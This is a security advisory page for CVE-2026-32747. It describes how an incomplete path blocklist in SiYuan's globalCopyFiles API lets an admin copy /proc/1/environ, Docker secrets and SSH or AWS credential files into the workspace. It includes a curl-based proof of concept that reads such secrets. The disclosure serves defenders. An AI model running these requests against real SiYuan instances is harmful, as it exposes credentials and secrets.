CVE-2026-32747: SiYuan: Incomplete sensitive path blocklist in globalCopyFiles allows reading /proc and Docker secrets

Published Mar 16, 2026
·
Updated

Summary POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details File: kernel/api/file.go - function globalCopyFiles

go for i, src := range srcs { absSrc, := filepath.Abs(src) // not restricted to workspace

if util.IsSensitivePath(absSrc) { // blocklist is incomplete return } srcs[i] = absSrc } destDir := filepath.Join(util.WorkspaceDir, destDir) for , src := range srcs { dest := filepath.Join(destDir, filepath.Base(src)) filelock.Copy(src, dest) // copies unchecked sensitive file into workspace }

IsSensitivePath blocklist (kernel/util/path.go): go prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets: | Path | Contains | |------|----------| | /proc/1/environ | All env vars: DATABASEURL, AWSACCESSKEYID, ANTHROPICAPIKEY | | /run/secrets/ | Docker Swarm / Compose injected secrets | | /home/siyuan/.aws/credentials | AWS credentials (non-root user) | | /home/siyuan/.ssh/idrsa | SSH private key (non-root user) | | /tmp/ | Temporary files including tokens |

PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit: bash TOKEN="YOURADMINTOKEN"

Step 1: Copy /proc/1/environ (process env vars) into workspace assets curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

Step 2: Read the copied file via standard API curl -s -X POST http://localhost:6806/api/file/getFile \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'

Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASEURL=postgres://...\nAPIKEY=sk-...

Docker secrets: bash Copy all Docker-injected secrets curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"srcs":["/run/secrets/dbpassword","/run/secrets/apitoken"],"destDir":"data/assets/"}'

Impact An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Other sources

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the globalCopyFiles API eads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API. An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted. This issue has been fixed in version 3.6.1.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260313024916-fd6526133bb3
b3log SiYuan<3.6.1

Event History

Mar 16, 2026
Advisory Published
via GitHub·06:46 PM
Data Sourced
via GitHub·06:46 PM
DescriptionSeverityWeaknessAffected Software
Mar 19, 2026
CVE Published
via MITRE·09:02 PM
Data Sourced
via MITRE·09:02 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32747?

CVE-2026-32747 has a high severity due to its potential exposure of sensitive environment files and secrets.

2

How do I fix CVE-2026-32747?

To fix CVE-2026-32747, ensure proper workspace boundary checks and update your affected packages to a safe version.

3

What are the affected software versions for CVE-2026-32747?

CVE-2026-32747 affects packages up to version 0.0.0-20260313024916-fd6526133bb3 of the Siyuan Note kernel.

4

What is the attack vector for CVE-2026-32747?

The attack vector for CVE-2026-32747 is through the `POST /api/file/globalCopyFiles` API which may improperly expose system files.

5

What types of files can be accessed due to CVE-2026-32747?

CVE-2026-32747 allows access to sensitive files, including Docker secrets and system environment variables.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203